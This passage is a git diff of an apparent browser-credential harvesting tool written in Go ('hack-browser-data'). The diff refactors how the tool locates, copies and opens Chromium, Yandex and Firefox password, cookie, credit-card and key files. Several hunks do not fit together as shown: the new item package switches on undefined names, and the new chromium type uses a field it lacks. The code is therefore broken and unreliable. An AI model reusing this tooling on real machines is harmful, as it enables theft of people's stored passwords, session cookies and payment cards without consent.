procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData))) - return outBlob.ToByteArray(), nil -} diff --git a/go.mod b/go.mod index 3c4bc91..75049e9 100644 --- a/go.mod +++ b/go.mod @@ -1,6 +1,6 @@ module hack-browser-data -go 1.16 +go 1.18 require ( github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9 @@ -13,3 +13,13 @@ require ( github.com/urfave/cli/v2 v2.2.0 golang.org/x/crypto v0.0.0-20200604202706-70a84ac30bf9 ) + +require ( + github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d // indirect + github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421 // indirect + github.com/modern-go/reflect2 v1.0.2 // indirect + github.com/russross/blackfriday/v2 v2.0.1 // indirect + github.com/shurcooL/sanitized_anchor_name v1.0.0 // indirect + github.com/tidwall/match v1.1.1 // indirect + github.com/tidwall/pretty v1.2.0 // indirect +) diff --git a/internal/browser/browser.go b/internal/browser/browser.go index 0b2961d..9c02b40 100644 --- a/internal/browser/browser.go +++ b/internal/browser/browser.go @@ -10,6 +10,7 @@ import ( "strings" "hack-browser-data/internal/browser/data" + "hack-browser-data/internal/browser/item" ) type Browser interface { @@ -75,8 +76,8 @@ func pickFirefox(name string) []Browser { var browsers []Browser name = strings.ToLower(name) if name == "all" || name == "firefox" { - for _, b := range firefoxList { - multiFirefox, err := newMultiFirefox(b.browserInfo, b.items) + for _, f := range firefoxList { + multiFirefox, err := newMultiFirefox(f.browserInfo, f.items) if err != nil { panic(err) } @@ -91,17 +92,22 @@ func pickFirefox(name string) []Browser { type chromium struct { browserInfo *browserInfo - items []item - itemPaths map[item]string + items []item.Item + itemPaths map[item.Item]string } -// NewBrowser 根据浏览器信息生成 Browser Interface -func newChromium(info *browserInfo, items []item) (*chromium, error) { +// newChromium 根据浏览器信息生成 Browser Interface +func newChromium(info *browserInfo, items []item.Item) (*chromium, error) { c := &chromium{ browserInfo: info, items: items, } - itemsPaths, err := getChromiumItemAbsPath(c.browserInfo.profilePath, c.items) + absProfilePath := path.Join(homeDir, filepath.Clean(c.browserInfo.profilePath)) + // TODO: Handle file path is not exist + if !isFileExist(absProfilePath) { + return nil, fmt.Errorf("%s profile path is not exist", absProfilePath) + } + itemsPaths, err := getChromiumItemPath(absProfilePath, c.items) if err != nil { return nil, err } @@ -153,13 +159,13 @@ func (c *chromium) CopyItemFileToLocal() error { type firefox struct { browserInfo *browserInfo - items []item - itemPaths map[item]string - multiItemPaths map[string]map[item]string + items []item.Item + itemPaths map[item.Item]string + multiItemPaths map[string]map[item.Item]string } // newFirefox -func newMultiFirefox(info *browserInfo, items []item) ([]*firefox, error) { +func newMultiFirefox(info *browserInfo, items []item.Item) ([]*firefox, error) { f := &firefox{ browserInfo: info, items: items, @@ -186,8 +192,8 @@ func newMultiFirefox(info *browserInfo, items []item) ([]*firefox, error) { return firefoxList, nil } -func getFirefoxItemAbsPath(profilePath string, items []item) (map[string]map[item]string, error) { - var multiItemPaths = make(map[string]map[item]string) +func getFirefoxItemAbsPath(profilePath string, items []item.Item) (map[string]map[item.Item]string, error) { + var multiItemPaths = make(map[string]map[item.Item]string) absProfilePath := path.Join(homeDir, filepath.Clean(profilePath)) // TODO: Handle read file error if !isFileExist(absProfilePath) { @@ -224,7 +230,7 @@ func (f *firefox) CopyItemFileToLocal() error { return nil } -func firefoxWalkFunc(items []item, multiItemPaths map[string]map[item]string) filepath.WalkFunc { +func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]string) filepath.WalkFunc { return func(path string, info fs.FileInfo, err error) error { for _, v := range items { if info.Name() == v.DefaultName() { @@ -232,7 +238,7 @@ func firefoxWalkFunc(items []item, multiItemPaths map[string]map[item]string) fi if _, exist := multiItemPaths[parentDir]; exist { multiItemPaths[parentDir][v] = path } else { - multiItemPaths[parentDir] = map[item]string{v: path} + multiItemPaths[parentDir] = map[item.Item]string{v: path} } } } @@ -244,31 +250,6 @@ func getParentDir(absPath string) string { return filepath.Base(filepath.Dir(absPath)) } -func chromiumWalkFunc(items []item, itemPaths map[item]string) filepath.WalkFunc { - return func(path string, info os.FileInfo, err error) error { - for _, item := range items { - if item.DefaultName() == info.Name() && item == chromiumKey { - itemPaths[item] = path - } - if item.DefaultName() == info.Name() && strings.Contains(path, "Default") { - itemPaths[item] = path - } - } - return err - } -} - -func getChromiumItemAbsPath(profilePath string, items []item) (map[item]string, error) { - var itemPaths = make(map[item]string) - absProfilePath := path.Join(homeDir, filepath.Clean(profilePath)) - // TODO: Handle file path is not exist - if !isFileExist(absProfilePath) { - return nil, fmt.Errorf("%s profile path is not exist", absProfilePath) - } - err := filepath.Walk(absProfilePath, chromiumWalkFunc(items, itemPaths)) - return itemPaths, err -} - func (f *firefox) GetMasterKey() ([]byte, error) { return f.browserInfo.masterKey, nil } @@ -333,38 +314,38 @@ const ( yandexName = "Yandex" ) -var defaultFirefoxItems = []item{ - firefoxKey4, - firefoxPassword, - firefoxCookie, - firefoxBookmark, - firefoxHistory, - firefoxDownload, - firefoxCreditCard, - firefoxLocalStorage, - firefoxExtension, +var defaultFirefoxItems = []item.Item{ + item.firefoxKey4, + item.firefoxPassword, + item.firefoxCookie, + item.firefoxBookmark, + item.firefoxHistory, + item.firefoxDownload, + item.firefoxCreditCard, + item.firefoxLocalStorage, + item.firefoxExtension, } -var defaultYandexItems = []item{ - chromiumKey, - yandexPassword, - chromiumCookie, - chromiumBookmark, - chromiumHistory, - chromiumDownload, - yandexCreditCard, - chromiumLocalStorage, - chromiumExtension, +var defaultYandexItems = []item.Item{ + item.chromiumKey, + item.yandexPassword, + item.chromiumCookie, + item.chromiumBookmark, + item.chromiumHistory, + item.chromiumDownload, + item.yandexCreditCard, + item.chromiumLocalStorage, + item.chromiumExtension, } -var defaultChromiumItems = []item{ - chromiumKey, - chromiumPassword, - chromiumCookie, - chromiumBookmark, - chromiumHistory, - chromiumDownload, - chromiumCreditCard, - chromiumLocalStorage, - chromiumExtension, +var defaultChromiumItems = []item.Item{ + item.chromiumKey, + item.chromiumPassword, + item.chromiumCookie, + item.chromiumBookmark, + item.chromiumHistory, + item.chromiumDownload, + item.chromiumCreditCard, + item.chromiumLocalStorage, + item.chromiumExtension, } diff --git a/internal/browser/browser_darwin.go b/internal/browser/browser_darwin.go index 9c3ae12..7a54eaa 100644 --- a/internal/browser/browser_darwin.go +++ b/internal/browser/browser_darwin.go @@ -7,12 +7,14 @@ import ( "os/exec" "golang.org/x/crypto/pbkdf2" + + "hack-browser-data/internal/browser/item" ) var ( chromiumList = map[string]struct { browserInfo *browserInfo - items []item + items []item.Item }{ "chrome": { browserInfo: chromeInfo, @@ -57,7 +59,7 @@ var ( } firefoxList = map[string]struct { browserInfo *browserInfo - items []item + items []item.Item }{ "firefox": { browserInfo: firefoxInfo, diff --git a/internal/browser/browser_test.go b/internal/browser/browser_test.go index 47ebf56..a9965d7 100644 --- a/internal/browser/browser_test.go +++ b/internal/browser/browser_test.go @@ -44,6 +44,15 @@ func TestPickChromium(t *testing.T) { } } +func TestGetChromiumItemAbsPath(t *testing.T) { + p := `/Library/Application Support/Google/Chrome/` + s, err := getChromiumItemPath(p, defaultChromiumItems) + if err != nil { + panic(err) + } + fmt.Println(s) +} + func TestPickBrowsers(t *testing.T) { browsers := PickBrowser("all") for _, v := range browsers { diff --git a/internal/browser/browser_windows.go b/internal/browser/browser_windows.go index ab78bda..2ae20d1 100644 --- a/internal/browser/browser_windows.go +++ b/internal/browser/browser_windows.go @@ -6,7 +6,7 @@ import ( "github.com/tidwall/gjson" - "hack-browser-data/internal/browser/consts" + "hack-browser-data/internal/browser/item" "hack-browser-data/internal/decrypter" "hack-browser-data/internal/utils" ) @@ -14,7 +14,7 @@ import ( var ( chromiumList = map[string]struct { browserInfo *browserInfo - items []item + items []item.Item }{ "chrome": { browserInfo: chromeInfo, @@ -31,7 +31,7 @@ var ( } firefoxList = map[string]struct { browserInfo *browserInfo - items []item + items []item.Item }{ "firefox": { browserInfo: firefoxInfo, @@ -45,7 +45,7 @@ var ( ) func (c *chromium) GetMasterKey() ([]byte, error) { - keyFile, err := utils.ReadFile(consts.ChromiumKeyFilename) + keyFile, err := utils.ReadFile(item.TempChromiumKey) if err != nil { return nil, err } diff --git a/internal/browser/chromium/chromium.go b/internal/browser/chromium/chromium.go new file mode 100644 index 0000000..b3063e0 --- /dev/null +++ b/internal/browser/chromium/chromium.go @@ -0,0 +1,108 @@ +package chromium + +import ( + "fmt" + "io/ioutil" + "os" + "path" + "path/filepath" + "strings" + + "hack-browser-data/internal/browser/data" + "hack-browser-data/internal/browser/item" +) + +type chromium struct { + name string + storage string + profilePath string + masterKey []byte + items []item.Item + itemPaths map[item.Item]string +} + +// newChromium 根据浏览器信息生成 Browser Interface +func newChromium(name, storage, profilePath string, items []item.Item) (*chromium, error) { + c := &chromium{ + name: name, + storage: storage, + profilePath: profilePath, + items: items, + } + absProfilePath := path.Join(homeDir, filepath.Clean(c.browserInfo.profilePath)) + // TODO: Handle file path is not exist + if !isFileExist(absProfilePath) { + return nil, fmt.Errorf("%s profile path is not exist", absProfilePath) + } + itemsPaths, err := getChromiumItemPath(absProfilePath, c.items) + if err != nil { + return nil, err + } + c.itemPaths = itemsPaths + return c, err +} + +func (c *chromium) GetName() string { + return c.name +} + +func (c *chromium) GetBrowsingData() []data.BrowsingData { + var browsingData []data.BrowsingData + for item := range c.itemPaths { + d := item.NewBrowsingData() + if d != nil { + browsingData = append(browsingData, d) + } + } + return browsingData +} + +func (c *chromium) CopyItemFileToLocal() error { + for item, sourcePath := range c.itemPaths { + var dstFilename = item.FileName() + locals, _ := filepath.Glob("*") + for _, v := range locals { + if v == dstFilename { + err := os.Remove(dstFilename) + // TODO: Should Continue all iteration error + if err != nil { + return err + } + } + } + + // TODO: Handle read file error + sourceFile, err := ioutil.ReadFile(sourcePath) + if err != nil { + fmt.Println(err.Error()) + } + err = ioutil.WriteFile(dstFilename, sourceFile, 0777) + if err != nil { + return err + } + } + return nil +} + +func getChromiumItemPath(profilePath string, items []item.Item) (map[item.Item]string, error) { + var itemPaths = make(map[item.Item]string) + err := filepath.Walk(profilePath, chromiumWalkFunc(items, itemPaths)) + return itemPaths, err +} + +func chromiumWalkFunc(items []item.Item, itemPaths map[item.Item]string) filepath.WalkFunc { + return func(path string, info os.FileInfo, err error) error { + for _, it := range items { + switch { + case it.DefaultName() == info.Name(): + if it == it.chromiumKey { + itemPaths[it] = path + } + if strings.Contains(path, "Default") { + itemPaths[it] = path + } + } + } + return err + } +} diff --git a/internal/browser/consts/filename.go b/internal/browser/consts/filename.go deleted file mode 100644 index 16fcb30..0000000 --- a/internal/browser/consts/filename.go +++ /dev/null @@ -1,47 +0,0 @@ -package consts - -// item's default filename -const ( - ChromiumKey = "Local State" - ChromiumCredit = "Web Data" - ChromiumPassword = "Login Data" - ChromiumHistory = "History" - ChromiumDownload = "History" - ChromiumCookie = "Cookies" - ChromiumBookmark = "Bookmarks" - ChromiumLocalStorage = "chromiumLocalStorage" - - YandexPassword = "Ya PassMan Data" - YandexCredit = "Ya Credit Cards" - - FirefoxKey4 = "key4.db" - FirefoxCookie = "cookies.sqlite" - FirefoxPassword = "logins.json" - FirefoxData = "places.sqlite" - - UnknownItem = "unknown item" - UnsupportedItem = "unsupported item" -) - -// item's renamed filename -const ( - ChromiumKeyFilename = "ChromiumKeyFilename" - ChromiumCreditFilename = "ChromiumCreditFilename" - ChromiumPasswordFilename = "ChromiumPasswordFilename" - ChromiumHistoryFilename = "ChromiumHistoryFilename" - ChromiumDownloadFilename = "ChromiumDownloadFilename" - ChromiumCookieFilename = "ChromiumCookieFilename" - ChromiumBookmarkFilename = "ChromiumBookmarkFilename" - ChromiumLocalStorageFilename = "ChromiumLocalStorageFilename" - - YandexPasswordFilename = "YandexPasswordFilename" - YandexCreditFilename = "YandexCreditFilename" - - FirefoxKey4Filename = "FirefoxKey4DBFilename" - FirefoxCookieFilename = "FirefoxCookieFilename" - FirefoxPasswordFilename = "FirefoxPasswordFilename" - FirefoxDownloadFilename = "FirefoxDownloadFilename" - FirefoxHistoryFilename = "FirefoxHistoryFilename" - FirefoxBookmarkFilename = "FirefoxBookmarkFilename" - FirefoxDataFilename = "FirefoxDataFilename" -) diff --git a/internal/browser/consts/sql.go b/internal/browser/consts/sql.go deleted file mode 100644 index d709a2b..0000000 --- a/internal/browser/consts/sql.go +++ /dev/null @@ -1 +0,0 @@ -package consts diff --git a/internal/browser/data/bookmark.go b/internal/browser/data/bookmark.go index 1da37fe..7c21c30 100644 --- a/internal/browser/data/bookmark.go +++ b/internal/browser/data/bookmark.go @@ -7,14 +7,14 @@ import ( "github.com/tidwall/gjson" - "hack-browser-data/internal/browser/consts" + "hack-browser-data/internal/browser/item" "hack-browser-data/internal/utils" ) type ChromiumBookmark []bookmark func (c *ChromiumBookmark) Parse(masterKey []byte) error { - bookmarks, err := utils.ReadFile(consts.ChromiumBookmarkFilename) + bookmarks, err := utils.ReadFile(item.ChromiumBookmarkFilename) if err != nil { return err } @@ -26,6 +26,7 @@ func (c *ChromiumBookmark) Parse(masterKey []byte) error { return true }) } + // TODO: 使用泛型重构 sort.Slice(*c, func(i, j int) bool { return (*c)[i].DateAdded.After((*c)[j].DateAdded) }) @@ -73,7 +74,7 @@ func (f *FirefoxBookmark) Parse(masterKey []byte) error { keyDB *sql.DB bookmarkRows *sql.Rows ) - keyDB, err = sql.Open("sqlite3", consts.FirefoxBookmarkFilename) + keyDB, err = sql.Open("sqlite3", item.FirefoxBookmarkFilename) if err != nil { return err } diff --git a/internal/browser/data/cookie.go b/internal/browser/data/cookie.go index 3a9183a..7b3dd83 100644 --- a/internal/browser/data/cookie.go +++ b/internal/browser/data/cookie.go @@ -5,7 +5,7 @@ import ( "fmt" "sort" - "hack-browser-data/internal/browser/consts" + "hack-browser-data/internal/browser/item" "hack-browser-data/internal/decrypter" "hack-browser-data/internal/utils" @@ -15,7 +15,7 @@ import ( type ChromiumCookie []cookie func (c *ChromiumCookie) Parse(masterKey []byte) error { - cookieDB, err := sql.Open("sqlite3", consts.ChromiumCookieFilename) + cookieDB, err := sql.Open("sqlite3", item.ChromiumCookieFilename) if err != nil { return err } @@ -78,7 +78,7 @@ func (c *ChromiumCookie) Name() string { type FirefoxCookie []cookie func (f *FirefoxCookie) Parse(masterKey []byte) error { - cookieDB, err := sql.Open("sqlite3", consts.FirefoxCookieFilename) + cookieDB, err := sql.Open("sqlite3", item.FirefoxCookieFilename) if err != nil { return err } diff --git a/internal/browser/data/creditcard.go b/internal/browser/data/creditcard.go index a279db1..a8b386c 100644 --- a/internal/browser/data/creditcard.go +++ b/internal/browser/data/creditcard.go @@ -6,14 +6,14 @@ import ( _ "github.com/mattn/go-sqlite3" - "hack-browser-data/internal/browser/consts" + "hack-browser-data/internal/browser/item" "hack-browser-data/internal/decrypter" ) type ChromiumCreditCard []card func (c *ChromiumCreditCard) Parse(masterKey []byte) error { - creditDB, err := sql.Open("sqlite3", consts.ChromiumCreditFilename) + creditDB, err := sql.Open("sqlite3", item.TempChromiumCredit) if err != nil { return err } diff --git a/internal/browser/data/download.go b/internal/browser/data/download.go index 6b1e11a..1ae6995 100644 --- a/internal/browser/data/download.go +++ b/internal/browser/data/download.go @@ -8,7 +8,7 @@ import ( "github.com/tidwall/gjson" - "hack-browser-data/internal/browser/consts" + "hack-browser-data/internal/browser/item" "hack-browser-data/internal/utils" _ "github.com/mattn/go-sqlite3" @@ -17,7 +17,7 @@ import ( type ChromiumDownload []download func (c *ChromiumDownload) Parse(masterKey []byte) error { - historyDB, err := sql.Open("sqlite3", consts.ChromiumDownloadFilename) + historyDB, err := sql.Open("sqlite3", item.ChromiumDownloadFilename) if err != nil { return err } @@ -63,7 +63,7 @@ func (f *FirefoxDownload) Parse(masterKey []byte) error { keyDB *sql.DB downloadRows *sql.Rows ) - keyDB, err = sql.Open("sqlite3", consts.FirefoxDownloadFilename) + keyDB, err = sql.Open("sqlite3", item.FirefoxDownloadFilename) if err != nil { return err } diff --git a/internal/browser/data/history.go b/internal/browser/data/history.go index dbd1451..1cc4d4c 100644 --- a/internal/browser/data/history.go +++ b/internal/browser/data/history.go @@ -5,7 +5,7 @@ import ( "fmt" "sort" - "hack-browser-data/internal/browser/consts" + "hack-browser-data/internal/browser/item" "hack-browser-data/internal/utils" _ "github.com/mattn/go-sqlite3" @@ -14,7 +14,7 @@ import ( type ChromiumHistory []history func (c *ChromiumHistory) Parse(masterKey []byte) error { - historyDB, err := sql.Open("sqlite3", consts.ChromiumHistoryFilename) + historyDB, err := sql.Open("sqlite3", item.ChromiumHistoryFilename) if err != nil { return err } @@ -60,7 +60,7 @@ func (f *FirefoxHistory) Parse(masterKey []byte) error { keyDB *sql.DB historyRows *sql.Rows ) - keyDB, err = sql.Open("sqlite3", consts.FirefoxHistoryFilename) + keyDB, err = sql.Open("sqlite3", item.FirefoxHistoryFilename) if err != nil { return err } diff --git a/internal/browser/data/password.go b/internal/browser/data/password.go index fef3aab..f8e55f0 100644 --- a/internal/browser/data/password.go +++ b/internal/browser/data/password.go @@ -9,7 +9,7 @@ import ( "sort" "time" - "hack-browser-data/internal/browser/consts" + "hack-browser-data/internal/browser/item" decrypter2 "hack-browser-data/internal/decrypter" "hack-browser-data/internal/utils" @@ -20,7 +20,7 @@ import ( type ChromiumPassword []loginData func (c *ChromiumPassword) Parse(masterKey []byte) error { - loginDB, err := sql.Open("sqlite3", consts.ChromiumPasswordFilename) + loginDB, err := sql.Open("sqlite3", item.TempChromiumPassword) if err != nil { return err } @@ -80,7 +80,7 @@ func (c *ChromiumPassword) Name() string { type FirefoxPassword []loginData func (f *FirefoxPassword) Parse(masterKey []byte) error { - globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(consts.FirefoxKey4Filename) + globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(item.FirefoxKey4Filename) if err != nil { return err } @@ -106,7 +106,7 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error { if err != nil { return err } - allLogin, err := getFirefoxLoginData(consts.FirefoxPasswordFilename) + allLogin, err := getFirefoxLoginData(item.FirefoxPasswordFilename) if err != nil { return err } diff --git a/internal/browser/firefox/firefox.go b/internal/browser/firefox/firefox.go new file mode 100644 index 0000000..2b4484a --- /dev/null +++ b/internal/browser/firefox/firefox.go @@ -0,0 +1 @@ +package firefox diff --git a/internal/browser/item.go b/internal/browser/item.go deleted file mode 100644 index 8030a1f..0000000 --- a/internal/browser/item.go +++ /dev/null @@ -1,166 +0,0 @@ -package browser - -import ( - "hack-browser-data/internal/browser/consts" - data2 "hack-browser-data/internal/browser/data" -) - -type item int - -const ( - chromiumKey item = iota - chromiumPassword - chromiumCookie - chromiumBookmark - chromiumHistory - chromiumDownload - chromiumCreditCard - chromiumLocalStorage - chromiumExtension - - yandexPassword - yandexCreditCard - - firefoxKey4 - firefoxPassword - firefoxCookie - firefoxBookmark - firefoxHistory - firefoxDownload - firefoxCreditCard - firefoxLocalStorage - firefoxExtension -) - -func (i item) DefaultName() string { - switch i { - case chromiumKey: - return consts.ChromiumKey - case chromiumPassword: - return consts.ChromiumPassword - case chromiumCookie: - return consts.ChromiumCookie - case chromiumBookmark: - return consts.ChromiumBookmark - case chromiumDownload: - return consts.ChromiumDownload - case chromiumLocalStorage: - return consts.ChromiumLocalStorage - case chromiumCreditCard: - return consts.ChromiumCredit - case chromiumExtension: - return consts.UnknownItem - case chromiumHistory: - return consts.ChromiumHistory - case yandexPassword: - return consts.YandexPassword - case yandexCreditCard: - return consts.YandexCredit - case firefoxKey4: - return consts.FirefoxKey4 - case firefoxPassword: - return consts.FirefoxPassword - case firefoxCookie: - return consts.FirefoxCookie - case firefoxBookmark: - return consts.FirefoxData - case firefoxDownload: - return consts.FirefoxData - case firefoxLocalStorage: - return consts.UnsupportedItem - case firefoxCreditCard: - return consts.UnsupportedItem - case firefoxHistory: - return consts.FirefoxData - case firefoxExtension: - return consts.UnsupportedItem - default: - return consts.UnknownItem - } -} - -func (i item) FileName() string { - switch i { - case chromiumKey: - return consts.ChromiumKeyFilename - case chromiumPassword: - return consts.ChromiumPasswordFilename - case chromiumCookie: - return consts.ChromiumCookieFilename - case chromiumBookmark: - return consts.ChromiumBookmarkFilename - case chromiumDownload: - return consts.ChromiumDownloadFilename - case chromiumLocalStorage: - return consts.ChromiumLocalStorageFilename - case chromiumCreditCard: - return consts.ChromiumCreditFilename - case chromiumHistory: - return consts.ChromiumHistoryFilename - case chromiumExtension: - return consts.UnsupportedItem - case yandexPassword: - return consts.ChromiumPasswordFilename - case yandexCreditCard: - return consts.ChromiumCreditFilename - case firefoxKey4: - return consts.FirefoxKey4Filename - case firefoxPassword: - return consts.FirefoxPasswordFilename - case firefoxCookie: - return consts.FirefoxCookieFilename - case firefoxBookmark: - return consts.FirefoxBookmarkFilename - case firefoxDownload: - return consts.FirefoxDownloadFilename - case firefoxLocalStorage: - return consts.UnsupportedItem - case firefoxCreditCard: - return consts.UnsupportedItem - case firefoxHistory: - return consts.FirefoxHistoryFilename - case firefoxExtension: - return consts.UnsupportedItem - default: - return consts.UnknownItem - } -} - -func (i item) NewBrowsingData() data2.BrowsingData { - switch i { - case chromiumKey: - return nil - case chromiumPassword: - return &data2.ChromiumPassword{} - case chromiumCookie: - return &data2.ChromiumCookie{} - case chromiumBookmark: - return &data2.ChromiumBookmark{} - case chromiumDownload: - return &data2.ChromiumDownload{} - case chromiumLocalStorage: - return nil - case chromiumCreditCard: - return &data2.ChromiumCreditCard{} - case chromiumExtension: - return nil - case chromiumHistory: - return &data2.ChromiumHistory{} - case yandexPassword: - return &data2.ChromiumPassword{} - case yandexCreditCard: - return &data2.ChromiumCreditCard{} - case firefoxPassword: - return &data2.FirefoxPassword{} - case firefoxCookie: - return &data2.FirefoxCookie{} - case firefoxBookmark: - return &data2.FirefoxBookmark{} - case firefoxDownload: - return &data2.FirefoxDownload{} - case firefoxHistory: - return &data2.FirefoxHistory{} - default: - return nil - } -} diff --git a/internal/browser/item/filename.go b/internal/browser/item/filename.go new file mode 100644 index 0000000..d8172ab --- /dev/null +++ b/internal/browser/item/filename.go @@ -0,0 +1,47 @@ +package item + +// item's default filename +const ( + FileChromiumKey = "Local State" + FileChromiumCredit = "Web Data" + FileChromiumPassword = "Login Data" + FileChromiumHistory = "History" + FileChromiumDownload = "History" + FileChromiumCookie = "Cookies" + FileChromiumBookmark = "Bookmarks" + FileChromiumLocalStorage = "chromiumLocalStorage" + + FileYandexPassword = "Ya PassMan Data" + FileYandexCredit = "Ya Credit Cards" + + FileFirefoxKey4 = "key4.db" + FileFirefoxCookie = "cookies.sqlite" + FileFirefoxPassword = "logins.json" + FileFirefoxData = "places.sqlite" + + FileUnknownItem = "unknown item" + FileUnsupportedItem = "unsupported item" +) + +// item's renamed filename +const ( + TempChromiumKey = "TempChromiumKey" + TempChromiumCredit = "TempChromiumCredit" + TempChromiumPassword = "TempChromiumPassword" + TempChromiumHistory = "TempChromiumHistory" + TempChromiumDownload = "TempChromiumDownload" + TempChromiumCookie = "TempChromiumCookie" + TempChromiumBookmark = "TempChromiumBookmark" + TempChromiumLocalStorage = "TempChromiumLocalStorage" + + TempYandexPassword = "TempYandexPassword" + TempYandexCredit = "TempYandexCredit" + + TempFirefoxKey4 = "TempFirefoxKey4" + TempFirefoxCookie = "TempFirefoxCookie" + TempFirefoxPassword = "TempFirefoxPassword" + TempFirefoxDownload = "TempFirefoxDownload" + TempFirefoxHistory = "TempFirefoxHistory" + TempFirefoxBookmark = "TempFirefoxBookmark" + TempFirefoxData = "TempFirefoxData" +) diff --git a/internal/browser/item/item.go b/internal/browser/item/item.go new file mode 100644 index 0000000..0d1738c --- /dev/null +++ b/internal/browser/item/item.go @@ -0,0 +1,165 @@ +package item + +import ( + data2 "hack-browser-data/internal/browser/data" +) + +type Item int + +const ( + ItemChromiumKey Item = iota + ItemChromiumPassword + ItemChromiumCookie + ItemChromiumBookmark + ItemChromiumHistory + ItemChromiumDownload + ItemChromiumCreditCard + ItemChromiumLocalStorage + ItemChromiumExtension + + ItemYandexPassword + ItemYandexCreditCard + + ItemFirefoxKey4 + ItemFirefoxPassword + ItemFirefoxCookie + ItemFirefoxBookmark + ItemFirefoxHistory + ItemFirefoxDownload + ItemFirefoxCreditCard + ItemFirefoxLocalStorage + ItemFirefoxExtension +) + +func (i Item) DefaultName() string { + switch i { + case ItemChromiumKey: + return ChromiumKey + case ItemChromiumPassword: + return ChromiumPassword + case ItemChromiumCookie: + return ChromiumCookie + case ItemChromiumBookmark: + return ChromiumBookmark + case ItemChromiumDownload: + return ChromiumDownload + case ItemChromiumLocalStorage: + return ChromiumLocalStorage + case ItemChromiumCreditCard: + return ChromiumCredit + case ItemChromiumExtension: + return UnknownItem + case ItemChromiumHistory: + return ChromiumHistory + case ItemYandexPassword: + return YandexPassword + case ItemYandexCreditCard: + return YandexCredit + case ItemFirefoxKey4: + return FirefoxKey4 + case ItemFirefoxPassword: + return FirefoxPassword + case ItemFirefoxCookie: + return FirefoxCookie + case ItemFirefoxBookmark: + return FirefoxData + case ItemFirefoxDownload: + return FirefoxData + case ItemFirefoxLocalStorage: + return UnsupportedItem + case ItemFirefoxCreditCard: + return UnsupportedItem + case ItemFirefoxHistory: + return FirefoxData + case ItemFirefoxExtension: + return UnsupportedItem + default: + return UnknownItem + } +} + +func (i Item) FileName() string { + switch i { + case chromiumKey: + return TempChromiumKey + case chromiumPassword: + return TempChromiumPassword + case chromiumCookie: + return ChromiumCookieFilename + case chromiumBookmark: + return ChromiumBookmarkFilename + case chromiumDownload: + return ChromiumDownloadFilename + case chromiumLocalStorage: + return ChromiumLocalStorageFilename + case chromiumCreditCard: + return TempChromiumCredit + case chromiumHistory: + return TempChromiumHistory + case chromiumExtension: + return UnsupportedItem + case yandexPassword: + return TempChromiumPassword + case yandexCreditCard: + return TempChromiumCredit + case firefoxKey4: + return FirefoxKey4Filename + case firefoxPassword: + return FirefoxPasswordFilename + case firefoxCookie: + return FirefoxCookieFilename + case firefoxBookmark: + return FirefoxBookmarkFilename + case firefoxDownload: + return FirefoxDownloadFilename + case firefoxLocalStorage: + return UnsupportedItem + case firefoxCreditCard: + return UnsupportedItem + case firefoxHistory: + return FirefoxHistoryFilename + case firefoxExtension: + return UnsupportedItem + default: + return UnknownItem + } +} + +func (i Item) NewBrowsingData() data2.BrowsingData { + switch i { + case chromiumKey: + return nil + case chromiumPassword: + return &data2.ChromiumPassword{} + case chromiumCookie: + return &data2.ChromiumCookie{} + case chromiumBookmark: + return &data2.ChromiumBookmark{} + case chromiumDownload: + return &data2.ChromiumDownload{} + case chromiumLocalStorage: + return nil + case chromiumCreditCard: + return &data2.ChromiumCreditCard{} + case chromiumExtension: + return nil + case chromiumHistory: + return &data2.ChromiumHistory{} + case yandexPassword: + return &data2.ChromiumPassword{} + case yandexCreditCard: + return &data2.ChromiumCreditCard{} + case firefoxPassword: + return &data2.FirefoxPassword{} + case firefoxCookie: + return &data2.FirefoxCookie{} + case firefoxBookmark: + return &data2.FirefoxBookmark{} + case firefoxDownload: + return &data2.FirefoxDownload{} + case firefoxHistory: + return &data2.FirefoxHistory{} + default: + return nil + } +} diff --git a/internal/browser/item/sql.go b/internal/browser/item/sql.go new file mode 100644 index 0000000..eb11d32 --- /dev/null +++ b/internal/browser/item/sql.go @@ -0,0 +1 @@ +package item